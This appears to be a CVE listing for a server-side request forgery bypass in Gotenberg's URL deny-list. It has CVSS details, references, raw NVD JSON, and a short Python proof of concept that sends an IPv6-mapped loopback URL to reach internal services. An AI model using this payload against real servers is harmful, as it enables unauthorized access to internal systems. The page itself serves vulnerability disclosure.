CVE-2026-42596

Description

Gotenberg is a Docker-powered stateless API for PDF files. Prior to 8.31.0, the default deny-lists used by Gotenberg's downloadFrom feature and webhook feature are bypassable. Because the filter is regex-based and case-sensitive, an unauthenticated attacker can supply URLs such as http://[::ffff:127.0.0.1]:... and reach loopback or private HTTP services that the default deny-list is intended to block. This crosses a real security boundary because an external caller can force the server to make outbound requests to internal-only targets. This vulnerability is fixed in 8.31.0.

CVSS Details

CVSS Score

9.4

Severity

CRITICAL

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:L

Configurations (Affected Products)

No configuration data available.

Gotenberg < 8.31.0

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

import requests

# Target URL (replace with actual Gotenberg instance)
target_url = "http://localhost:3000/forms/chromium/convert/url"

# Malicious payload using IPv6 mapped IPv4 to bypass deny-list
# This attempts to access the local server's metadata service or internal app
malicious_url = "http://[::ffff:127.0.0.1]:8080/admin"

data = {
    "url": malicious_url
}

try:
    response = requests.post(target_url, data=data)
    if response.status_code == 200:
        print("[+] Potential bypass successful, check response content.")
        print(response.text)
    else:
        print("[-] Request failed or blocked.")
except Exception as e:
    print(f"Error: {e}")

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-42596
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-42596
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-42596/
[4] VulDB https://vuldb.com/cve/CVE-2026-42596
[5] https://github.com/gotenberg/gotenberg/security/advisories/GHSA-4vmc-gm8v-m35h

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-42596", "sourceIdentifier": "[email protected]", "published": "2026-05-14T16:16:22.893", "lastModified": "2026-05-14T16:28:04.847", "vulnStatus": "Undergoing Analysis", "cveTags": [], "descriptions": [{"lang": "en", "value": "Gotenberg is a Docker-powered stateless API for PDF files. Prior to 8.31.0, the default deny-lists used by Gotenberg's downloadFrom feature and webhook feature are bypassable. Because the filter is regex-based and case-sensitive, an unauthenticated attacker can supply URLs such as http://[::ffff:127.0.0.1]:... and reach loopback or private HTTP services that the default deny-list is intended to block. This crosses a real security boundary because an external caller can force the server to make outbound requests to internal-only targets. This vulnerability is fixed in 8.31.0."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:L", "baseScore": 9.4, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "LOW"}, "exploitabilityScore": 3.9, "impactScore": 5.5}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-918"}]}], "references": [{"url": "https://github.com/gotenberg/gotenberg/security/advisories/GHSA-4vmc-gm8v-m35h", "source": "[email protected]"}]}}